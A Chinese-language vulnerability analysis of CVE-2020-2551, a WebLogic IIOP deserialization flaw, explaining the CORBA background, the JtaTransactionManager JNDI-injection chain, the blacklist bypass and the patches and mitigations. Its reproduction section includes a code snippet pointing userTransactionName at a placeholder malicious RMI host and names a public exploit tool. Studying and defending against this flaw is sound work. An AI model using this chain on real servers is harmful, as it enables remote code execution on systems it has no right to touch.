CVE-2020-2551: Weblogic IIOP反序列化漏洞分析
字数 1792 2025-08-25 22:58:20
WebLogic IIOP反序列化漏洞(CVE-2020-2551)深度分析与利用
1. 前置知识
1.1 IDL与Java IDL
IDL(Interface Definition Language)是接口定义语言,主要用于描述软件组件的应用程序编程接口。Java IDL是一个分布式对象技术,基于CORBA(Common Object Request Brokerage Architecture)标准实现。
- IDL编译: 使用JDK自带的
idlj编译器可将IDL文件编译成Java文件 - Java IDL映射: 定义了IDL与Java语言之间的类型映射关系
1.2 CORBA架构
CORBA(Common ObjectRequest Broker Architecture)是OMG组织制定的分布式对象标准结构,分为三部分:
- Naming Service: 命名服务,类似目录
- Client Side: 客户端
- Servant Side: 服务端
1.3 CORBA通信过程
- 客户端通过存根(Stub)方法连接到ORB(Object Request Broker)
- ORB将调用转发到服务器
- 服务器端ORB使用框架代码将远程调用转换为本地方法调用
- ORB之间通过IIOP(Internet Inter-ORB Protocol)协议通信
1.4 RMI-IIOP
RMI-IIOP结合了RMI和CORBA的优点:
- 使用RMI编程模型
- 底层使用IIOP协议通信
- 实现了Java与非Java环境间的互操作
2. 漏洞原理分析
2.1 漏洞背景
WebLogic IIOP协议在处理反序列化数据时存在缺陷,结合JtaTransactionManager类的错误过滤机制,可导致远程代码执行。
2.2 漏洞成因
-
IIOP协议问题: WebLogic对IIOP协议的反序列化数据过滤不严
-
JtaTransactionManager类缺陷:
- 反序列化时会调用
initUserTransactionAndTransactionManager - 进而触发
lookupUserTransaction方法 - 通过控制
userTransactionName属性实现JNDI注入
- 反序列化时会调用
-
黑名单绕过:
- CVE-2018-3191修复时将
AbstractPlatformTransactionManager加入黑名单 - IIOP协议过滤时只检查本类名而不检查父类
JtaTransactionManager类本身不在黑名单中
- CVE-2018-3191修复时将
2.3 漏洞利用链
IIOP协议反序列化 -> JtaTransactionManager.readObject() ->
initUserTransactionAndTransactionManager() -> lookupUserTransaction() ->
JndiTemplate.lookup() -> JNDI注入
3. 漏洞复现
3.1 环境准备
- WebLogic 10.3.6版本
- JDK 8u73版本
- 漏洞利用工具: Y4er/CVE-2020-2551
3.2 复现步骤
- 搭建恶意RMI服务
- 构造恶意序列化数据:
JtaTransactionManager jta = new JtaTransactionManager(); jta.setUserTransactionName("rmi://恶意IP/Exploit"); - 通过IIOP协议发送恶意请求
- 触发反序列化并执行远程代码
4. 技术细节分析
4.1 WebLogic IIOP处理流程
-
请求入口:
weblogic.rmi.internal.wls.WLSExecuteRequest#run -
关键调用栈:
WLSExecuteRequest.run() -> CorbaServerRef.invoke() -> AnyImpl.read_value_internal() -> ValueHandlerImpl.readValue() -> ObjectStreamClass.readObject() -> JtaTransactionManager.readObject() -
数据解析:
- 识别
rebind_any操作类型 - 读取
tk_value类型数据 - 反序列化传入的Java对象
- 识别
4.2 Context绑定流程
-
初始化Context:
Hashtable env = new Hashtable(); env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory"); env.put("java.naming.provider.url", "iiop://IP:端口"); Context ic = new InitialContext(env); -
绑定对象:
- 生成IOR(Interoperable Object Reference)
- 设置Java类型交互约定为
tk_value - 存储序列化数据到
any类
5. 防御措施
-
官方修复:
- 补丁直接封禁IIOP协议
- 将
JtaTransactionManager加入黑名单
-
临时缓解:
- 禁用IIOP协议
- 配置WebLogic防火墙规则限制IIOP端口访问
-
长期防护:
- 使用RASP进行行为检测
- 实施严格的输入验证
- 定期更新WebLogic版本
6. 总结
CVE-2020-2551漏洞展示了IIOP协议在WebLogic中的安全隐患,其核心问题在于:
- IIOP协议的反序列化机制缺乏严格过滤
- 黑名单机制存在设计缺陷(不检查父类)
JtaTransactionManager提供了可利用的JNDI注入点
此类漏洞的防御需要多层次的安全措施,单纯依赖协议过滤或黑名单难以从根本上解决问题。